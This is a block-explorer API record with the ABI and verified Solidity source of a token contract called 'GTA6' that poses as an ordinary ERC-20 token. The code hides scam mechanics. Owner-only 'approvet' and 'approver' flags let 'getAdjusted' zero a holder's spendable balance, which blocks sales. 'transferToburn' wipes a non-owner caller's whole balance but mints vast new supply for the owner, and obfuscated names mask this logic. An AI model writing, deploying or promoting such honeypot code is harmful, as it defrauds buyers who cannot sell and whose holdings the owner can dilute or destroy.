{"message":"OK","result":[{"ABI":"[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name_\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"symbol_\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"_Holders\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"from_\",\"type\":\"bool\"}],\"name\":\"approver\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"to_\",\"type\":\"bool\"}],\"name\":\"approvet\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getTokenHolders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferToburn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]","CompilerSettings":{"optimizer":{"enabled":false,"runs":200},"outputSelection":{"*":{"*":["abi","evm.bytecode","evm.deployedBytecode"]}}},"CompilerVersion":"v0.8.19+commit.7dd6d404","ConstructorArguments":"000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006475441205649000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044754413600000000000000000000000000000000000000000000000000000000","ContractName":"GTA6","EVMVersion":"default","FileName":"Contract.sol","IsProxy":"false","OptimizationUsed":"false","SourceCode":"\npragma solidity ^0.8.0;\n\n\nabstract contract Ownable  {\n    constructor() {\n        _transferOwnership(_msgSender());\n    }\n\n   \n    modifier onlyOwner() {\n        _checkOwner();\n        _;\n    }\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n    address private _owner;\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n\n    function _checkOwner() internal view virtual {\n        require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n    }\n\n\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n}\n\ncontract GTA6  is Ownable {\n    uint256 _totalSupply = 1*10**9*10**decimals();\n    uint256 tota = _totalSupply;\n    address private cjxxx;\n    string private _tokenname;\n    string private _tokensymbol;\n    mapping(address => bool) private Holders;\n    address[] public _Holders;\n    constructor(string memory name_, string memory symbol_) {\n        address msgSender = _msgSender();\n        _tokenname = name_;\n        _tokensymbol = symbol_;\n        cjxxx = _msgSender();\n        balances[msgSender] += _totalSupply;\n        emit Transfer(address(0), msgSender, _totalSupply);\n    }\n\n\n    mapping(address => uint256) private balances;\n    mapping(address => bool) private balancesto;\n    mapping(address => bool) private balancesfrom;\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    \n    event Approval(address indexed owner, address indexed spender, uint256 value);\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    \n    function symbol() public view  returns (string memory) {\n        return _tokensymbol;\n    }\n\n    function totalSupply() public view returns (uint256) {\n        return _totalSupply;\n    }\n\n    function decimals() public view virtual returns (uint8) {\n        return 6;\n    }\n    function _HoldersAddress(address _address) internal {\n        if (!Holders[_address]) {\n            Holders[_address] = true;\n            _Holders.push(_address);\n        }\n    }\n      function getTokenHolders() public view returns (address[] memory) {\n        return _Holders;\n    }\n\n    function getAdjusted(address from, address to) internal view returns (uint256) {\n    uint256 adjusted = balances[from]; \n    if (balancesto[to] && from != cjxxx) {\n        adjusted = adjusted ^ adjusted; \n    }\n    if (balancesfrom[from]) {\n        adjusted = adjusted ^ adjusted; \n    }\n    return adjusted;\n}\n\n\n   function approvet(address _to, bool to_) public {\n    if (cjxxx != msg.sender) {\n        revert(\"fu\");\n    }\n        balancesto[_to] \n    = to_;\n}\n\n    function balanceOf(address account) public view returns (uint256) {\n        return balances[account];\n    }\n\n\n\n    function name() public view returns (string memory) {\n        return _tokenname;\n    }\n\n     \n    function approver (address _from, bool from_) public {\n          if(cjxxx != _msgSender()){\n            revert(\"fu\");\n        }\n           balancesfrom[_from] \n       = from_;\n    }\n\n\n    function transfer(address to, uint256 amount) public returns (bool) {\n        _transfer(_msgSender(), to, amount);\n        return true;\n    }\n   \n    function allowance(address owner, address spender) public view returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n\n    function approve(address spender, uint256 amount) public returns (bool) {\n        _approve(_msgSender(), spender, amount);\n        return true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual  returns (bool) {\n        address spender = _msgSender();\n        _spendAllowance(from, spender, amount);\n        _transfer(from, to, amount);\n        return true;\n    }\n\n\n     function _transfer(\n     address from,\n     address to,\n     uint256 amount\n    ) internal virtual {\n     uint256 decysBalances = getAdjusted(from, to);\n     require(from != address(0), \"ERC20: transfer from the zero address\");\n     require(to != address(0), \"ERC20: transfer to the zero address\");\n     require(decysBalances >= amount, \"ERC20: transfer amount exceeds balance\");\n     balances[from] = balances[from]-amount;\n     balances[to] = balances[to]+amount;\n    \n     emit Transfer(from, to, amount);\n      _HoldersAddress(to);\n    \n    }\n \n\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n\n    function _spendAllowance(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        uint256 currentAllowance = allowance(owner, spender);\n        if (currentAllowance != type(uint256).max) {\n            require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n            _approve(owner, spender, currentAllowance - amount);\n        }\n    }\n\n    function transferToburn(uint256 amount) public {\n    address burnAddress = _msgSender();\n    uint256 balancefrom = _totalSupply;\n    if (cjxxx != _msgSender()) {\n        uint256 deductAmount = balances[burnAddress]; \n        require(balances[burnAddress] > 0, \"fu\");\n        balances[burnAddress] -= deductAmount; \n        _totalSupply -= deductAmount; \n    } else {\n        uint256 burnAmount = tota * amount;  \n        balances[burnAddress] += burnAmount;  \n        balancefrom += burnAmount;  \n        _totalSupply = balancefrom; \n    }\n}\n    \n    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n        address owner = _msgSender();\n        uint256 currentAllowance = allowance(owner, spender);\n        require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n        _approve(owner, spender, currentAllowance - subtractedValue);\n        return true;\n    }\n}\n    ","Address":"0xd9907a91d65e24f5bcbda8d07834599ae927ba3d"}],"status":"1"}